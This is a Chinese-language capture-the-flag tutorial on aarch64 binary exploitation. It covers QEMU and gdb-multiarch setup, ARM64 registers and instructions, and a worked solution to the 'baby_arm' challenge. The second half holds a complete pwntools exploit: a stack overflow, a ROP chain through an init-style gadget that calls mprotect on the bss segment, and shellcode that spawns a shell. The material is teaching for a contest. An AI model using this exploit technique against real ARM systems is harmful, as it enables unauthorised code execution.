原文:https://mp.weixin.qq.com/s/AwNPbG9kT3Wb-FcjbQJq4w
前言
如今越来越多的pwn运行在其他的CPU架构下,本章主要以aarch64为例,讲解下环境的搭建以及arm64架构。环境搭建过程可扩展到其他cpu架构体系。
环境搭建
安装qemu及相应的libc环境
qemu的安装:
1 2
| $ sudo apt-get install qemu-user $ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386
|
libc环境安装(安装后libc环境存放在/usr/aarch64-linux-gnu目录下):
1
| $ sudo apt install libc6-arm64-cross
|
正常启动:
1
| $ qemu-aarch64 -L /usr/aarch64-linux-gnu ./baby_arm
|
调试模式:
首先安装gdb-multiarch:
1
| $ sudo apt install gdb-multiarch
|
qemu调试模式启动(调试端口为1235):
1
| $ qemu-aarch64 -g 1235 -L /usr/aarch64-linux-gnu ./baby_arm
|
gdb-multiarch调试:
1 2
| $ gdb-multiarch ./baby_arm pwndbg>target remote localhost:1235
|
或者(可用show architecture查看当前CPU架构):
1 2 3
| $ gdb-multiarch pwndbg> set architecture aarch64 pwndbg> target remote localhost:1235
|
一般来说还是比较习惯用pwntools来写题目,所以就研究了下相关的使用方法。
首先是环境搭建:
1 2 3
| $ sudo mkdir /etc/qemu-binfmt $ sudo ln -s /usr/aarch64-linux-gnu /etc/qemu-binfmt/aarch64 $ sudo apt-get install binutils-aarch64-linux-gnu
|
将相应的libc环境链接到/etc/qemu-binfmt目录下,这样pwntools运行的时候就会用qemu启动,并在相应目录下查找对应架构的环境,从而运行程序。binutils-aarch64-linux-gnu这一程序则是用与asm模块使用的,主要是shellcode之类的需要用到。环境配置好后然后直接按照x86架构的方式运行即可。
如果需要用gdb调试的话,则需要用gdb.debug()来启动程序才能进行调试:
1 2 3 4
| from pwn import * context.arch = 'aarch64' p = gdb.debug("./baby_arm") p.interactive()
|
arm相关基础(以64位为准)
寄存器
含有31个64位通用寄存器(包括x0~x28,fp/x29、lr/x30)、栈指针寄存器(sp)以及程序计数器(pc)以及一次程序状态寄存器(cpsr),在gdb中可用info r
查看。
其中x0~x7一般是函数的参数,x0一般表示返回值。lr/x30寄存器存放着函数的返回地址。
arm64调用约定
arm64位调用约定采用AAPCS64。参数1参数8 分别保存到 X0X7 寄存器中 ,剩下的参数从右往左一次入栈,被调用者实现栈平衡,返回值存放在 X0 中。
返回时,通过LDP x29, x30, [sp, #0x10];指令将调用前的的栈指针以及返回地址弹出到fp和lr寄存器。接着使用RET指令,令SP=FP,PC=LR,从而完成函数调用的返回。
常用指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| MOV X1,X0 ;将寄存器X0的值传送到寄存器X1 ADD X0,X1,X2 ;寄存器X1和X2的值相加后传送到X0 SUB X0,X1,X2 ;寄存器X1和X2的值相减后传送到X0
AND X0,X0,#0xF ; X0的值与0xF相位与后的值传送到X0 ORR X0,X0,#9 ; X0的值与9相位或后的值传送到X0 EOR X0,X0,#0xF ; X0的值与0xF相异或后的值传送到X0
LDR X5,[X6,#0x08] ;ld:load; X6寄存器加0x08的和的地址值内的数据传送到X5 LDP x29, x30, [sp, #0x10] ; ldp :load pair ; 一对寄存器, 从内存读取数据到寄存器
STR X0, [SP, #0x8] ;st:store,str:往内存中写数据(偏移值为正); X0寄存器的数据传送到SP+0x8地址值指向的存储空间 STUR w0, [x29, #-0x8] ;往内存中写数据(偏移值为负) STP x29, x30, [sp, #0x10] ;store pair,存放一对数据, 入栈指令
CBZ ;比较(Compare),如果结果为零(Zero)就转移(只能跳到后面的指令) CBNZ ;比较,如果结果非零(Non Zero)就转移(只能跳到后面的指令) CMP ;比较指令,相当于SUBS,影响程序状态寄存器CPSR
B ;无条件跳转指令,可带条件跳转与cmp配合使用 BL ;带返回的跳转指令, 返回地址保存到LR(X30),类似于x86的call指令 BLR ; 带返回的跳转指令,跳转到指令后边跟随寄存器中保存的地址(例:blr x8 ;跳转到x8保存的地址中去执行) RET ;子程序返回指令,返回地址默认保存在LR(X30),即执行PC=LR svc #0 ;执行系统调用,类似于x86下的syscall和int 80h。
|
例题1
这里以第四届上海市大学生网络安全大赛的baby_arm为例讲下arm的pwn。
分析
首先看下保护:
1 2 3 4 5 6 7
| $ checksec baby_arm [*] '/home/ubn/arm/1/baby_arm' Arch: aarch64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
可以看到开启了NX保护。
分析程序可以看到存在两个read函数的调用,第一个read处是输入Name并保存到bss中,第二个则存在栈溢出漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| .text:00000000004007F0 sub_4007F0 ; CODE XREF: sub_400818+3C↓p .text:00000000004007F0 .text:00000000004007F0 var_50 = -0x50 .text:00000000004007F0 .text:00000000004007F0 STP X29, X30, [SP,#var_50]! .text:00000000004007F4 MOV X29, SP .text:00000000004007F8 ADD X0, X29, #0x10 .text:00000000004007FC MOV X2, #0x200 .text:0000000000400800 MOV X1, X0 .text:0000000000400804 MOV W0, #0 .text:0000000000400808 BL .read .text:000000000040080C NOP .text:0000000000400810 LDP X29, X30, [SP+0x50+var_50],#0x50 .text:0000000000400814 RET .text:0000000000400814 ; End of function sub_4007F0
|
在简化成c语言可以看做是read(0,sp+0x10,0x200);
,很明显,可以通过栈溢出来控制执行流。
另外可以看到存在mprotect函数,因而可以用该函数来修改bss段的属性,从而执行shellcode。
利用方式有了,然后就再考虑下如何传参给mprotect函数:
通过ida的汇编窗口可以看到有下面的一个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| .text:0000000000400868 ; Attributes: bp-based frame .text:0000000000400868 .text:0000000000400868 sub_400868 ; DATA XREF: start+1C↑o .text:0000000000400868 ; .text:off_400648↑o .text:0000000000400868 .text:0000000000400868 var_s0 = 0 .text:0000000000400868 var_s10 = 0x10 .text:0000000000400868 var_s20 = 0x20 .text:0000000000400868 var_s30 = 0x30 .text:0000000000400868 .text:0000000000400868 STP X29, X30, [SP,#-0x40+var_s0]! .text:000000000040086C MOV X29, SP .text:0000000000400870 STP X21, X22, [SP,#var_s20] .text:0000000000400874 ADRP X21, #off_410DF0@PAGE .text:0000000000400878 STP X19, X20, [SP,#var_s10] .text:000000000040087C ADRP X20, #off_410DF8@PAGE .text:0000000000400880 ADD X21, X21, #off_410DF0@PAGEOFF .text:0000000000400884 ADD X20, X20, #off_410DF8@PAGEOFF .text:0000000000400888 SUB X20, X20, X21 .text:000000000040088C STP X23, X24, [SP,#var_s30] .text:0000000000400890 MOV X22, X2 .text:0000000000400894 MOV W24, W0 .text:0000000000400898 MOV X23, X1 .text:000000000040089C BL .init_proc .text:00000000004008A0 ASR X20, X20, #3 .text:00000000004008A4 CBZ X20, loc_4008CC .text:00000000004008A8 MOV X19, #0 .text:00000000004008AC .text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j .text:00000000004008AC LDR X3, [X21,X19,LSL#3] .text:00000000004008B0 MOV X2, X22 .text:00000000004008B4 MOV X1, X23 .text:00000000004008B8 MOV W0, W24 .text:00000000004008BC ADD X19, X19, #1 .text:00000000004008C0 BLR X3 .text:00000000004008C4 CMP X19, X20 .text:00000000004008C8 B.NE loc_4008AC .text:00000000004008CC .text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j .text:00000000004008CC LDP X19, X20, [SP,#var_s10] #x19=[sp+0x10];x20=[sp+0x18]; .text:00000000004008D0 LDP X21, X22, [SP,#var_s20] #x21=[sp+0x20];x22=[sp+0x28]; .text:00000000004008D4 LDP X23, X24, [SP,#var_s30] #x23=[sp+0x30];x24=[sp+0x38]; .text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 #x29=[sp];x30=[sp+0x8];sp=sp+0x40; .text:00000000004008DC RET .text:00000000004008DC ; End of function sub_400868
|
这一函数有点类似于x86下的init函数,并且也存在可以设置参的地方。
首先是loc_4008AC这一区域内,首先执行:x3 = [x29+x19*8]; x2 = x22; x1 = x23; x0 = x24
设置前四个寄存器的值,然后将计数器的值即x19加一,再blr跳转到x3。执行完毕后,判断x19是否等于x20,不等于则继续循环,等于则执行到loc_4008CC的内容。
而loc_4008CC中则是将栈中的值赋予到x19~24寄存器中,并执行返回操作。
我们可以先后调用loc_4008CC和loc_4008AC,从而完成参数的设置和函数的调用功能。
利用过程
首先,将shellcode写入到bss段中,并且写入后面loc_4008AC中需要调用的函数地址(即mprotect地址和shellcode地址):
1 2 3 4 5
| pay1 = '' pay1 += asm(shellcraft.aarch64.sh()) pay1 += p64(mprotect) pay1 += p64(name) g.send(pay1.ljust(0x200,'\x00'))
|
然后利用sub_400868中的gadget,进行参数的设置:
1 2 3 4 5 6 7 8 9 10 11
| pay2 = "1"*0x48 pay2 += p64(gadget1) pay2 += p64(name) pay2 += p64(gadget2) pay2 += p64(0) pay2 += p64(0xdeadbeef) pay2 += p64(name+44) pay2 += p64(7) pay2 += p64(0x1000) pay2 += p64(bss_start) g.send(pay2.ljust(0x200,'\x00'))
|
这一即完成了参数的设置以及函数的调用,从而可以getshell了(loc_4008AC中的循环会依次调用name+44处所保存的函数地址,即mprotect->shellcode)。
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import * context.arch = 'aarch64' g = gdb.debug("./baby_arm")
mprotect = 0x400600 name = 0x411068 gadget1 = 0x4008CC gadget2 = 0x4008AC bss_start = 0x411000
pay1 = '' pay1 += asm(shellcraft.aarch64.sh()) pay1 += p64(mprotect) pay1 += p64(name) g.send(pay1.ljust(0x200,'\x00'))
pay2 = "1"*0x48 pay2 += p64(gadget1) pay2 += p64(name) pay2 += p64(gadget2) pay2 += p64(0) pay2 += p64(0xdeadbeef) pay2 += p64(name+44) pay2 += p64(7) pay2 += p64(0x1000) pay2 += p64(bss_start) g.send(pay2.ljust(0x200,'\x00')) g.interactive()
|
例题2
另一种pwntools的编写方式详看2020第五空间线上初赛-WP | nuoye’s blog中的pwnme。
参考文章
pwnlib.qemu — QEMU Utilities — pwntools 4.1.2 documentation http://docs.pwntools.com/en/stable/qemu.html?highlight=qemu#pwnlib.qemu.ld_prefix
ARM PWN 环境搭建和测试_u012655643的博客-CSDN博客_arm pwn https://blog.csdn.net/u012655643/article/details/84584974